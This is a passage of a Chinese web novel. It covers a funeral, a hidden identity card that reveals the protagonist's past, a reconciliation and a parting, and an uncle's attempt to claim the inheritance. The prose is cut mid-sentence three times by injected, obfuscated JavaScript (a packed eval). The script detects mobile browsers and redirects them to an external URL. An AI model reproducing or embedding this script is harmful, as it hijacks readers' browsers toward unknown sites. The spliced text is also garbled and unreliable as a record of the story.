陆望潮都和他说了什么?是真的还是又在骗他? 陆时生想念花溪镇的夜晚,那里的夜晚是真正的夜晚,四周都是黑漆漆的,是浓稠纯粹的黑,不像这里,每个几米就有路灯不知疲倦般地亮着,夜如白昼。 六年前,他一醒过来就在花溪镇,他的记忆和人生是从那里开始的,明明为什么要说,他不属于花溪镇? 他到底是谁?又属于哪里? 他和这个世界最后的联系好像突然在某个时刻断了。 手机不合时宜地响了一声。 陆时生看了一眼,是步梨,她说想跟他聊聊。 陆时生像是一个被人扔掉的枯草,顺着水流漫无目的地漂,忽然被人捡了起来。 黑暗中,手机屏幕闪动的光像是冬季长夜里的一根火把,他激动地、疯狂地、在大脑思考之前,身体先一步行动,给步梨拨了电话过去。 “步梨。” “我想见你。” ... 在理智和冲动之间,步梨最终选择了后者。 面对陆时生,她无半点理性可谈。 凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616210|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晨两点半,她打车到了医院,孤独的路灯下,陆时生坐在长椅上,身影被拉得很长。 那一刻,步梨似乎猜到出了什么事。 更确切地说,她在下出租车之前,或者更早,在陆时生给她拨过电话,她听到他黯然伤神几乎快要哑了的声音的那一刻,她就猜到了。 陆时生默默坐在长椅上,左手放在膝盖上,低着头,他知道步梨来了,她静静坐在他身边,但他一直没看她。 步梨感觉他的身体在颤抖。 “头疼?”她问,“还是腿疼了?” 陆时生没说话。 疼痛蔓延全身,让他说不上来到底是哪里难受。他微微弓着身子,觉得窒息,压抑,宛如利刃划过心脏,深深刺痛全身的每一处神经,低垂的夜幕之下,他痛苦地承受着这个世界的重量。 “要是不说话,我就走了。” 步梨站起身,转身要走。 “步梨。”陆时生声音嘶哑得厉害。 步梨停住脚步,她感觉后面的人艰难地站起身,一步步挪到她身后。 她感觉他攥住了她的衣角,两人沉默了一会儿,陆时生从身后抱住她,低声说了句,“对不起。” 步梨感觉身后的人在颤抖。 从前他的怀抱很温暖,让人安心,可现在是一片冰冷,像是一块没有温度的石头,或是被冻僵了的树枝,连呼出的气都是冷的。她微微回头,这时才发现陆时生在哭,他眼圈很红,哭也是克制隐忍的哭泣,像是脱去了成人外衣的小孩。 步梨呆滞片刻,转过身看着陆时生,她伸手过去,手指拂过他的面颊,将湿凉的泪水拂去。陆时生微微垂着眼,睫毛被打湿成一簇簇的形状,他的眼睛生的好看,似是星河倒映在其中,但步梨从没见过他的眼眸里流露出过这样的神情。 步梨帮他抹掉泪水的时候,不小心碰到他面颊处的淤青,陆时生微微躲了一下,步梨呼吸跟着一滞,情难自禁,她一向不太会安慰人,心神也在这时乱了,彻彻底底地乱了,因为下一秒,她失控地踮起了脚,用自己的嘴唇贴了贴陆时生的嘴唇。 她觉得自己现在的行为实在像是在耍流氓,是贼心不死,是趁虚而入。 她有些惭愧,可那一刻,陆时生却像是突然抓住了生活的纽带,周围的一切都是虚无的,只有刚才两人唇齿相碰的那一刻,他才感觉到一份真切,他还是活在这个世界上的,并且与这个世界交织在一起。 所以步梨将身子退回来时,陆时生抓住她,紧紧跟了过来,拼命地去触碰那份柔软。 口腔里混杂了泪水的咸味,绵长、温柔、苦涩。 步梨觉得自己输了,她就这么原谅了陆时生,原谅了他之前的放弃与妥协。 或许是原谅,更是一种释然。 他们之间的隔阂依然存在,以后也不会再是恋人,她恨过陆时生,恨他的抛弃,恨他的懦弱,恨他苦苦执着于维护自己的自尊而选择放弃,但其实,在某种程度上,她又何尝不是抛弃了他。 无论过去孰是孰非,这一刻,她不得不承认,她还爱他。 “陆时生,过去的种种,就让它过去吧,从此以后,我们各自开启各自的崭新人生。” 她想,这是她最后一次拥抱陆时生了。 48. 早就认识了吗? 昨夜宿醉之后,沈思筝一觉睡到下午,醒来后又缓了好一会儿,才觉得头脑渐渐清明起来。 她这两日工作压力太大,好不容易得了一个假期,想着去酒吧放松放松,没想到那杯干马天尼的酒劲儿那么大。 头还在隐隐作痛,她揉着太阳穴,打开手机看见页面还停留在和步梨的聊天框,步梨给她发了很多信息,竟然还有一条是她回复的,她一点儿印象都没了。 “步梨,我今天见到死人了。” 沈思筝将她的语音重新播放了一遍,是她醉酒后的喃喃低语,有些吐字不清。 说的都是什么啊? 沈思筝呆愣了会儿,脑子里忽然浮现出昨天晚上那个代驾的脸。 记忆里的画面有些不真切,她昨天喝得糊里糊涂的,把人认错了也是正常,可不知怎的,她心里总觉得有点事儿。 到了晚上,她还是觉得去那家酒吧看看。 吧台前的男人叫阿奇,沈思筝记得昨天她喝的酒就是他推荐的,沈思筝寻思着来都来了,顺便再找他算算账。 阿奇做出一副无辜的表情,边讨好边解释道:“诶呦沈大小姐,你昨天自信满满地跟我说自己酒量不是一般人能比的,我哪知道您这一喝就......就那样了啊。”说到后面,他声音软了下去,算是给沈思筝留了几分面子。 他笑呵呵地道:“不过沈小姐您今天的气色很好啊,昨天应该休息得挺好吧,您皮肤可真好,我都羡慕了,今天要喝点什么吗?” “今天不喝,明天我得上班。”沈思筝翻了翻眼皮,没再跟他计较这件事,她言归正传道:“昨天送我回去的代驾是谁?” “啊?”阿奇愣了愣,“你说小陆吗?” 他凑近了些,带着不可思议的表情压低了声音问:“沈小姐你也看上他了啊,他可抢手了,好多女生都想要他微信呢,不过沈小姐你不是有男朋友了吗?” “不是,我有点事想问问他。” “什么事?”阿奇说完,觉得自己实在多嘴,给了自己一个嘴巴,笑着说,“他今天没来,你要是有什么事我可以帮你转达。” 沈思筝不悦道:“他什么时候来?” 阿奇摇摇头,“不知道啊,听说是家里有事,回了老家去,谁知道哪天能回,要不你问问于姐?” “算了,”沈思筝觉得自己有些神经了,为了一个代驾居然特意跑过来确认,仔细想想,她属实是冲动了,戴了口罩的男人不都长一个样吗? 要是温故还活着,看见她却装成代驾故意戏弄她,她第一个将他捶扁! “对了,他老家在哪?”沈思筝不死心地追问了句。 “不知道啊,在一个不知名的小村子里。” 阿奇属于一问三不知类型的,沈思筝撇了撇嘴,离开了酒吧。 ...... 望潮木工坊第一次有这么多人来来往往,只是没有人是来买东西的。 快递的货架上空空如也,只剩下零星几个快递箱被扔在角落,有来追悼的人完事后还会在那堆快递箱里翻找出属于自己的那件,然后拿着走了。 陆时生也没管,村子里的人很多都互相认识,在红白喜事上来走个过场,象征性地哭两声,吃顿饭就离开。 熙攘的人群中,他站在灵堂的角落,进行一些必要的人情往来。 这日步梨向学校请了假,回花溪镇参加了陆望潮的葬礼。 她燃了三炷香,转身时与陆时生的目光相碰,他默默望着这边,又像是在看别处,眼里说不出什么情绪,步梨看了他一眼便收回目光,她没过去找陆时生,只与碰上的熟人聊了几句。 她见到了冯雅,她回了江北后,冯雅也很听话地回去复读了,现在是一名正式的高四生,见到步梨后还跟她抱怨学业压力很大。 步梨见她整个人倒是比之前还圆润了些,冯雅不好意思地说是她奶奶天天做饭给她补营养,都把她喂胖了。 冯雅似乎一直想说些什么,等谈话结束的时候才鼓起勇气开口说道:“步梨姐,我没想到你会来,虽然这个场合不太合适,但我能不能问问,你和时生哥和好了吗?” 步梨捏了一把她的脸,“都是复读生了,怎么还这么八卦?” 冯雅很识趣地闭了嘴,“那我不问了,我先去找我奶奶了。” 步梨跟她道了别,离开时在门口见到了陆时生。 他一直在门口等她出来。 步梨下意识想回避与他的交流,但身体又矛盾地停住了脚步。她看向陆时生,两人相顾无言,就这么沉默着站了好一会儿。 “我只是来参加陆叔的葬礼,其他没什么,你别多想。” 步梨觉得起码她应该说一句“节哀”之类的安慰话语,但最后说出来的却是这句话,像是在刻意解释什么。 步梨后悔自己方才的那句话,只是话已出口,如覆水难收。 她知道自己越是刻意地想解释些什么,就越是证明她还没放下。 她做不到完完全全地放下。 每次见到陆时生,他都会用深情的目光望向她,会不守规矩地闯进心底最深刻的地方,他眼里总是真诚与落寞交织,与这样的目光触碰,会让人不自主地动容。 他站在那儿,显得单薄又冷清。 冷风刮过来,把步梨的头发吹乱了,陆时生习惯性地抬起手想帮她把发丝捋到耳后,手扬到一半才意识到不妥,在半空僵了片刻,失落地垂下胳膊。 “等这边的事情处理完,我...还可以去江北找你吗?”他谨慎地开口问了句。 步梨的眼睫微微垂下,“去哪里是你的自由。” 陆时生目光笃定地看着步梨,“我会去江北找你的。” 步梨笑了笑,抬头问他,“和我分开你后悔了吗?” 陆时生愣了愣,“我一直都没想和你分开。” 步梨咬咬牙,将不好的回忆翻出来,再压下去,“可是我们分开了。” 他们分开的原因,不仅仅是因为陆望潮的病。 这也是步梨无法释怀的。 或许是因为人们口中的门第、财富、身份、学历、家庭......不管因为什么原因,陆时生放弃过她一次,就能因为同样的原因放弃她第二次。 “其实我并不恨你没有选择我,因为我同样也选择了回江北,”步梨按压下心底里翻涌的情绪,努力让自己保持平静地说道,“问题在于,我们都没办法为了彼此,做到舍弃自己的一些东西,也没资格要求对方放弃。” 从前没有解决掉的问题,她很难相信就算她和陆时生重归于好,会将这个问题处理好。 冷风扑面而来,步梨裹紧了大衣,准备要走,陆时生匆忙地拽住她的衣角。 他真诚地开口,“步梨,我喜欢你。” 步梨望了他一会儿,说道:“陆时生,我也喜欢你。” 但是,他们没办法在一起。 两个人在一起,仅仅靠互相喜欢是不够的。 步梨没有说出后面那句话,但从她的眼神里,陆时生已经了然一切。 他松开了步梨。 “再见了。”步梨看着他说。 陆时生低低嗯了一声,回应,“再见。” 步梨的身影渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620611|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处。 陆时生在外面站了许久才回去。 他是个不孝子,父亲刚刚离世,他就想着违背他的意愿。 陆时生觉得他是个天生无情的人。 对于陆望潮的去世,他的孤独感大于悲痛感。 就算记忆再少,从血缘里也是相连的,父亲去世,他理应是痛苦更多。 可更多的是虚无。 或许陆望潮临死前说的话是真的,他不属于这里。 桂香奶奶见他落寞地站在风里,心疼地走过来,拉着他的手哭得伤心,说他瘦了太多,她嘴里一直念叨以后有困难随时来找她。 陆时生搞不明白到底是谁家的困难更多,但却切实地感到了一股暖流在心里缓慢流动。 陆望潮说他不属于花溪镇。 他半信半疑,不知归向何处的空虚感一度将他紧紧包裹。他成了一个不仅没有过去,还没有亲人、没有故乡的人。 但现在桂香奶奶的话,还有很多来追悼的乡里乡亲,每一个来的人都会同他说, “节哀。” “有困难就来找我。” 其中有的是客套,有的是真心。 陆时生不在意真心有多少,但他现在明白了。 不管陆望潮怎么说,不管花溪镇是不是他的家乡,他都是属于这个地方的。他在这里生活,和这里的人来来往往,镇子上每家每户的快递他几乎都送过。 不管他以后去哪,花溪镇都会是他的家。 * 葬礼结束后,陆时生遵从父亲的遗嘱,把他葬在了坟场最东边。 晚上,人群散去,偌大的房间只剩下他一人。 陆时生自己做了晚饭,吃完,他忽然想到陆望潮提到的纸箱子。 陆望潮的房间东西很少,几乎都没有人住过的痕迹。他很快找到了他说的那个纸箱,上面盖着一层厚厚的尘土。 陆时生掸掉了最上面的尘土,里面有一个破旧的钱包。 这钱包上有一个很明显的贯穿洞,还可能被水泡过,皮都掉了一层,打开来,里面有一张身份证。 贯穿洞像是子弹造成的,从钱包外穿进来,正好把身份证上的照片戳破,照片破损得很严重,人脸已经扭曲了,看不清样子。 好在其他信息都还完整。 从出生日期看,年纪和他是对得上的。 陆时生小腹的右侧有道疤,像是子弹打的,他当时问过陆望潮这伤是怎么来的,最后得来的只是一顿骂,说他早年跟一帮人鬼混,谁知道干了什么。陆时生当时觉得自己从前应该是非常差劲,所以没再追问,只在心里默默下决心要改邪归正,痛改前非。 房间里还是那种老式的灯泡,到了晚上光线很暗。陆时生把钱包拿到桌子前,开了台灯,将证件放到台灯下面仔细看着。 姓名:周平。 住址:淮州市大周县小兰村302号。 原来他真实的名字叫周平吗? 挺普通的名字,陆时生却觉得这两个字非常陌生。 在他少得可怜的记忆里,并没有人叫过他周平,一时有些恍惚。 陆时生又在破钱包里找了一遍,翻出来一张照片。 是一张一寸的证件照。 昏黄的灯光里,照片里的模样跃然于眼前,女孩留着齐肩的短发,一双水汪汪的杏眼里擒着笑意。 陆时生呼吸停滞了一瞬。 他的心脏被重新注入了活力,剧烈地跳动起来。 他伸手,在照片里女孩的脸颊上轻轻抚摸。 所以是以前就认识了吗? 步梨。 49. 冬天来了 步梨参加完陆望潮的葬礼,回了绿柳街的老房子住。 之前在集市买的果酒还有一瓶没喝,步梨想今晚把它喝掉,她从柜子里拿酒时,脚下踢到了一个箱子,是她送给陆时生后惨遭退回的那个手工玩偶。 柜子里的酒被拿出来,腾出来的地方有些空。 步梨已经接受了分开的事实,如今看到这个可怜兮兮的小玩意儿,心情意外地平静。她缓缓蹲下身子,将里面的玩偶拿出来,打算摆在柜子里当做装饰。 陆时生丢弃的东西,她自己珍惜着便是。 她将小兔子玩偶摆放好,凑近仔细看了两眼,不管是被扔在箱子里,还是被摆放出来,这小兔子总是一副咧嘴笑的开心模样。 步梨也跟着笑了笑,她看着,突然觉得这个玩偶有点不一样,好像不是她当初买的。她买的时候,小兔子胸前是一个粉色的蝴蝶结,步梨记得清清楚楚。 眼前这个,胸前是一条绿色的围巾。 所以这个不是她买的,步梨忽然意识到。 可陆时生总不能退货退错了。 她若有所思地拿了酒,转身去了天台。 借着月色,她开了酒瓶,几口便喝下了半瓶。 果酒的度数很低,大多还是果味,但几口下去,步梨觉得头晕乎乎的,眼前的景色似乎有些不真实。 错落的房子,平整的街道,潮湿的海风,花溪镇一点儿都没有变化。 一排排的白杨树依旧比值,只是脱落了叶。 步梨打了个哈欠,看见门口有人朝她招了招手。 她眯了眯眼使劲儿看去,是赵菲,她站在门口等,好像是特意来找她的。 白天在陆望潮的追悼会上,步梨见过赵菲一面。她当时就感觉赵菲似乎有事想跟她说,但当时的场合不合适,所以赵菲就特意来拜访了。 步梨把剩下的半瓶酒倒了一杯给赵菲,赵菲嫌弃地看了一眼。 “果酒?” 步梨摸了摸自己发热的脸,说:“度数挺高的,我都有点晕了。” “看看我的吧。” 赵菲把一个塑料袋扔在桌上,里面飘出炸鸡的香气,还有一瓶她自己酿的米酒。 步梨笑道:“这不正好搭配我的果酒?” 赵菲头一次看见用高脚杯装着果酒配炸鸡的,她一边喝一边抱怨了句,“你们城里人就这么菜啊,不应该开一瓶82年的葡萄酒之类的来招待客人吗?” “有的喝就不错了,说吧,找我什么事?”步梨开门见山。 赵菲突然靠近,目光炯炯地看向步梨,“你能不能帮我的炸鸡店做做宣传?” 步梨身子僵了僵,“啊?” “开玩笑的,”赵菲哈哈笑了两声才坐回去,言归正传道,“你应该也能猜到我想说什么。” 步梨自然能猜到七八分,于是提前说道:“如果是有关陆时生的话,不用了。” 赵菲皱了皱眉,“那咱俩总不能在这里干坐着喝酒吧,相顾无言,多尴尬?” “你要是真不在意陆时生了,那我说说又有什么关系,我随便一说,你随便一听呗。” 步梨拿她没办法,“那你说吧。” 赵菲喝了口酒,然后长长吐了口气,说:“你离开花溪镇那天来过望潮木工房对吧,看到我和陆时生了吧,当时是不是误会了?其实我们俩当时也看到你了。我问他为什么不去追你,他说想让你安心回江北去。” “你大概不知道陆望潮是一个怎么样的人。” 步梨不懂她为何会说起陆望潮,“你说陆时生的父亲?” 赵菲点点头,继续说着:“可能在大家眼里,陆望潮待人热情、温和,他还是一个绝世好父亲,在医院招呼昏迷的儿子,坚持了整整一年都没放弃,我一开始也是这么以为的。” “但有一次,我记得是过年的前两天,最冷的时候,我来买灯笼。因为那天下了大雪,天太冷了,路上的人很少,望潮木工坊也关着门,我推门进去,隔着厚厚的门帘,听到屋里有人在争吵。” “大概在说......”赵菲回忆了一下当时的场景。 隔着门帘,男人暴躁的责骂声传来,“你不知道你妈最喜欢橘子吗,我嘱咐过你多少次,橘子不能全吃光,要拿出来给你妈当供品的!你给我滚出去!” 紧接着是啪一声,很响亮,陆时生出来的时候,赵菲见到他半边的脸都是肿的。 赵菲愣愣的一时忘了自己要做什么。 两人面对面沉默了一会儿,陆时生若无其事地率先开口:“买东西?” 赵菲点了下头,“买灯笼。” 陆时生进屋拿了灯笼出来,递给赵菲,“不用给钱了。” 他说着往外走,赵菲追上去说道:“大过年的,街上的店铺都关了。我家有橘子,我去给你拿几个。” 陆时生停住脚步。 赵菲补充了句:“就当是抵了灯笼钱了。” 陆时生知道她听到了。 他没再掩饰,平静地说了句,“让你见笑了。” 从那以后,赵菲知道了陆时生的秘密。她发现,只要是陆望潮闲在家的日子,她去见陆时生的时候,他身上总会多些红肿或淤青。 “冬天陆叔一般会待在家,所以冬天也是陆时生最难熬的季节,我现在这句话虽然无情,但也是事实,这个冬天,陆叔走了,但对陆时生而言,会好过一些。” 步梨回想着她去望潮木工坊遇见陆望潮的情形,那位皮肤黝黑的中年男人很是热情慈祥,还经常招待她在家里吃饭,和赵菲说得这个暴力狂躁的男人完全不沾边。 她又想起安宏远和她说的话。 他说陆时生因为家庭的问题,对自己还有对周围人经常有暴力倾向。 她问了赵菲一个很突兀的问题,“你认识陆时生多久了?” 赵菲愣了愣,还以为她是吃醋了,“没几年,他们家之前不住在花溪镇的。” 步梨叹了口气,“那你也不知道以前的陆时生是什么样的人了。” 赵菲没太理解她的意思,“为什么提这个?” 步梨犹豫片刻,还是开口说道:“听他的大学同学说,他以前经常和人打架,有自虐以及暴力倾向。” 赵菲觉得不可思议,直呼道:“怎么可能?你是第一天认识他吗?” 步梨低喃一句,“可他失忆了,以前的事是不记得的。” “我不信。”赵菲笃定道。 步梨捕捉到她眼神里的坚定,那一刻,她忽然觉得愧疚,赵菲这么相信陆时生,她却在怀疑,这一点上,她做得不如赵菲。 赵菲见她沉默,以为她心底的疑虑还没打消,脸上逐渐浮起不满,“你怀疑他?” 步梨淡淡地解释,“之前是想帮他恢复记忆,所以才拜托了同学去打听的。” 赵菲突然怒火升腾,“他那么喜欢你,你怎么能这么怀疑他?” 步梨不怕她的质问,抬头看了她一眼,无奈地说:“喜欢我又怎样?喜欢我我就要无条件地去喜欢他吗?我只是想求证一些过去的事,这也是不被允许的吗?更何况,他是我喜欢的......是我曾经喜欢的人,我是很认真地想和他在一起,所以更要谨慎地去做决定,这并不代表我的感情不真诚。” 话落,一阵沉默。 赵菲也觉得她方才有些冲动,过了会儿,她放低了语调,“抱歉,我不该指责。” 她缓声说道:“步梨,他本来是想和你一起去江北的,但陆叔一直阻止,陆时生一开始一直反抗他,但谁能想到陆望潮两眼一翻直接躺道医院去了,陆时生觉得他自己烂透了,不敢去拉你下水,所以才对你说了那些话,他从来没想放弃你。他还说等陆叔的病好了,便想办法去江北找个营生,他是想去找你的。” 步梨愣了片刻,她从来不知道陆时生真实的态度,原来他是这般坚决,他没放弃她,他要去走向她的。 步梨不可思议地问:“陆叔......为什么这么抵触这件事?” 赵菲抿了抿嘴,“他是个精神失常的人,什么事儿做不出来?现在死者为大,我不想多说什么,但你应该知道他和他妻子是什么关系,一个农村出身的穷小子,一个一掷千金的富家女,再相爱,最后也不过是草草收场,因为他自己经历过这种贫富差距带来的痛苦,所以不想让陆时生重蹈覆辙。” 赵菲说完,惊觉自己失言,“抱歉......” 她急忙道。 步梨摇了摇头,说了句没事。 她似乎有些醉酒,赵菲酒量同样不咋地,没喝几口,离开的时候走路都有点不太稳。 次日步梨要回江北去,她要赶车,原本打算早睡,可躺在床上一整晚都没睡着,就这么熬了一夜,第二天一早,她便匆匆起了床,收拾了行李,大巴转火车,一路回了江北。 ...... 快入冬了。 气温骤降。 陆时生处理完陆望潮的后事,望着远处的路,道路两侧有大把大把的树叶飘落而下,感觉时光过了很久。 又一个冬天要来了。 他后知后觉地意识到,这个冬天他的生活会完全不一样,却说不上来是喜是悲。 许是因为货物还有快递常年堆满货架的缘故,就算陆望潮常年不在家,陆时生也从未觉得房间空旷。可现在他踏进屋子,心里却涌出一个无法言说的酸楚。 巨大的疲惫翻涌而来,他想,他也该休息几日。 他躺下来,忽然又想起今年房门还没安上厚的门帘,冷空气在周围涌动作祟,外面起了风,把窗户吹得咯吱咯吱响。 原来冬天已经来了。 往年只要一降温,陆望潮就会催促着他换门帘,不然就是一顿臭骂。 陆时生想要去把门帘换了,起身后才觉得自己魔怔了,今年冬天这个屋子又不会有人住。 他重新躺下,面色并没有什么波澜,却还是没能忍住眼眶涌出的那股温热液体。 他闭了眼,眼泪顺着太阳穴缓缓流下来。 陆时生没再忍,任由眼泪带着情绪倾泻而出。 房间里没有人,他可以完完全全地放纵自己,不再掩饰,不再伪装。 左边的腿又开始隐隐作痛,从开始时的阵痛,变成密密麻麻噬骨的疼。陆时生从床边的抽屉里翻找出一盒膏药,贴在了膝盖上。 疼痛并没有好转多少,他在床上躺了会儿,额头渗出一层细密的汗珠。 也不知过了多久,陆时生从昏睡中醒来,窗外已是日落西山,他腿上的痛感已经消退了大半,身上的衣衫被汗水浸湿了大半,他躺了一会儿,起身换了身干净的衣服。 总算是又挺过了一遭。 陆时生松了口气,看见手机里又一个陌生号码的未接来电,接连打了三个,可能是重要电话,陆时生正要打回去,听到有人敲门。 门外是一个高个子的中年男人。 “请问你是?”陆时生问。 男人看了眼陆时生,目光不算友好,他收回目光时抬脚便进了屋,把手里拎的一袋子水果放在桌上,说道:“我给你打过电话,但你没接。” 应该是他的某位亲人,那他来得刚刚不好,晚了一步。 男人的长相与陆望潮有几分相似,只是颧骨更凸出,脸庞也削瘦,眼睛深陷在眼窝之中。 他没等陆时生走过来,就自己搬了个凳子坐下,顺手就拿了桌上的烟,点燃,深深吸了一口。 烟雾弥漫开来,陆时生被呛得咳了一声,从他这一系列毫不见外的动作来看,陆时生猜想他可能是某位不常联系的亲戚,他随口回应道:“我睡着了,刚看到信息。” 男人道:“那我来得刚好。” “您认识我父亲?”陆时生问。 男人吐了一口烟,“我是陆时生的大伯,叫陆望江。” 陆望潮在世的时候,从没跟什么亲戚往来过。 当时陆望潮不顾家人反对与孙秀梅结了婚,算是入赘到孙家,因此与家里人闹得很不愉快,陆家觉得他让家族蒙羞,干脆与他断绝了关系,所以这么多年,陆时生从来不知道他都有些什么亲戚。 方才陆望江在自我介绍时说的是“陆时生的大伯,”不是“你的大伯”,这种说法明显是在告诉他,“你不是陆时生。” 陆时生想起他那张名叫张平的身份证。 那应该才是他真正的名字。 此时此刻,陆时生心里其实已经明白,他应该是一个替身。 他真的不是陆望潮的儿子,只是真正的陆时生的替身。 至于他到底是谁,和陆望潮有什么关系,为何他有步梨的照片,步梨又为何不认识他,这些他都无从得知。 或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628738|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前这个人可以给他答案。 陆望江看陆时生沉思许久,从他带来的袋子里掏出一个橘子递给他,“没事,你叫我大伯也行,毕竟你给我那弟弟也当了这么多年儿子了。” 这话听着不太舒服,但陆时生还是喊了句,“大伯。” 陆望江笑了声,他掸了下烟灰,继续说道:“七年前,望潮家里出了事,他妻子和儿子都在那场车祸中去世了,望潮也受到了挺大的打击,虽然他跟陆家断绝了关系,但毕竟是亲兄弟,我也不能不管他,所以我就给他找了个开货车的活儿,他就是在去新疆送货的那次,把你捡了回来,我问他你是谁,他说你是他儿子陆时生。” “你跟陆时生长得是有点像,身材也差不多,但我这个当大伯的能不知道自己侄子长什么样吗?当时陆望潮天天往医院跑,给你赚医药费,我们都以为他疯了,但他说你是他每天活下去的动力。” “人活着,总得有个奔头,你当时就是个不知从哪来的植物人,我们都没认为你能醒过来,但你躺在那还呼吸着,望潮就会活着,所以他要养你,我们都没说什么。似乎也是天意,你醒了后,竟然想不起来以前的事了,顺理成章成了他的新儿子。” “你也别怪我们不告诉你,你爸照顾你这么多年,你也理应给他养老送终。” 陆时生道:“我没怪谁,所以,你们也不知道我是谁吗?” “这我实在是不知道,我们很少联系,不过望潮他知不知道额外的信息,他没跟你说过?” 陆时生摇了摇头。 陆望江一根烟抽完,该说的也都说了,他站起来,在屋子里绕了一圈,看了眼落了灰尘的货架,他用手指抹了一下,放在嘴边吹了口气,又嫌弃地往裤子上蹭了两把。 “我就叫你小陆吧,我看这货架上还有不少东西呢,你临走前随便拿,可这自己喜欢的挑就行。” 陆时生愣了下,“走?” “嗯啊,”陆望江背着手在房子里转了一圈,像是来查房的户主,“当然我也不着急要这房子,你先慢慢收拾着,十天内把房子腾出来就行。” 陆时生目光暗了下来,总算知道了陆望江此番前来的目的。陆望潮死了,他的遗产要有人继承,而他只是个被捡来的外人,和陆家没有任何血缘关系,按理说也没有继承的权利。 “我为什么要走?父亲走的时候立了遗嘱的,他留下的东西都归我。”陆时生语气平静,比平常多了几分冷冽。 眼前这个人称自己是陆望潮的哥哥,却连自己亲弟弟的葬礼都不来参加,只在事后过来要遗产, “遗嘱?在哪?我打听过了,我弟弟得的是脑瘤,他生前还一直说胡话,立遗嘱的时候,整个人都是神志不清的,一个精神有问题的人,口头说的话哪能算数呢?” 一股恶心的感觉涌上来,陆时生抬头吐了口气,目光望着天花板,觉得这层厚厚的砖瓦在朝自己压过来,封闭且压抑。 “怎么了,小陆,是有什么困难吗?” 陆望江不太高兴,他保持着耐心,走过来问了句。 陆时生觉得他虚伪得让人恶心,他冷峻的目光看过去,没说话。 陆望江愣了愣,挤出一个笑容来,“也是,是我草率了,没考虑你这边,这样吧,咱俩也算半个亲人,你给望潮送终,忙来忙去的也不容易,大伯打心里觉得你这孩子挺好,大伯给你介绍在淮州介绍个工作咋样?” “小陆啊,虽然你照顾了望潮挺久,还给他办了丧事,这些年也为这个家付出了不少,但我们陆家也不欠你的,望潮他救了你的命,还养了你这么多年,现在也算扯平了,当初望潮也没办收养手续,所以你也不能算是陆家人,总不能一直赖在陆家,住着陆家的房子,或许你现在的家人还在找你呢,你也应该去找找他们吧。” 这房间不大,陆望江这么一会儿,把四处的布置也打量了个遍。这会儿一边说着,一边很熟练地找到了热水壶和杯子,从里面倒了杯热水给陆时生递过来。 他觉得自己不仅说的在理,作为一个长辈给晚辈倒水更是仁至义尽了,陆时生要是再不给他面子,就真是不知好歹了。 暖壶里的水早就凉了,陆时生喝了一口,冷水在口中蔓延,还带着一股放久了的塑料味。 半晌后,他点了点头,“好。” 陆望江狠狠松了口气,笑道:“这就对了,我就说你这孩子明事理,懂事。” 陆时生起身去了里屋,翻找东西的声音从房间传来,陆望江很满意地坐下来等。 过了会儿,陆时生从房间出来。 “刚才您说的对,我不是陆家的人,没资格继承这房子,现在我可以把房子给您,但若是您选择继承,这些也一并都归您了。” 陆望江皱了下鼻子,“这什么?” “没什么,就是一些外债。之前家里开店装修买设备,用了三十万,有二十五万是借的,本来今年可以还上的,但我爸生病花了几十万,把家里的积蓄都用掉了,还没补上这个缺口,后来还向亲戚朋友借了不少。” 陆望江绷着脸质问道:“你的意思是要我来还?” 陆时生道:“借条的落款都是陆望潮,按照继承法,您如果选择继承,遗产和外债都是要继承的。” 陆望江脸色如黑炭,他盯着那些借条沉默了好一阵,才不满地开口,“小陆啊,这么多年,你家又是做木工,又是送快递,你爸还出去给人干活,最后就混成这个样子?” “这不是看病都花了吗,光是ICU一天就得三万呢。” 陆时生叹了口气,满脸愁容,“其实送快递就是个苦差事,每天累得要死,赚得也不多,我爸出去干活也是给人打工,后来又生病住了院,幸亏大伯你来了,不然我这后半辈子估计都得还债了。” 他很感激地看了陆望江一眼。 陆望江咽了下口水,将目光移向别处。 “再说吧,我家里有点事,先走了。” 陆望江咬牙说了一句。 “等一下,大伯,走之前,把这个签了吧。”陆时生递给他一支笔,还有一张纸,是放弃继承的协议。 陆望江黑着脸看了会儿,拿起笔签了字,之后把桌上那包烟揣进兜里,走了。 房间里剩下陆时生一人,他把陆望江扔在地上的烟蒂捡起来,连同那袋一半都烂了的橘子一块丢进了垃圾桶。 50. 去江北 陆时生去了一趟淮州。 他按照身份证上写的地址,从大周县城坐班车到了小兰村。 内陆的气候干燥,中午日头正盛,阳光洒下来,驱散了空气里的冷意。 陆时生走到302号,面前是一个老房子。 来的路上,他其实有些紧张,每走一步都在细致地打量着小兰村的景象。 这个村子就是他以前生活过的地方吗? 会不会碰到熟人? 他的父母会在这等他吗? 离终点越近,他越难以往前,直到察觉这个房子里并没有人。 